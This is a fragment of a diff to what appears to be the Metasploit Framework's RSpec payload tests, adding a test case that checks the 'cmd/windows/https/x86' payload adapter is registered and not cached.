|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/http/x86'
|
||||
],
|
||||
reference_name: 'cmd/windows/http/x86'
|
||||
end
|
||||
|
||||
context 'cmd/windows/https/x64' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
@@ -1398,6 +1406,14 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'cmd/windows/https/x64'
|
||||
end
|
||||
|
||||
context 'cmd/windows/https/x86' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
'adapters/cmd/windows/https/x86'
|
||||
],
|
||||
reference_name: 'cmd/windows/https/x86'
|
||||
end
|
||||
|
||||
context 'cmd/windows/powershell' do
|
||||
it_should_behave_like 'payload is not cached',
|
||||
ancestor_reference_names: [
|
||||
|
||||
Reference in New Issue
Block a user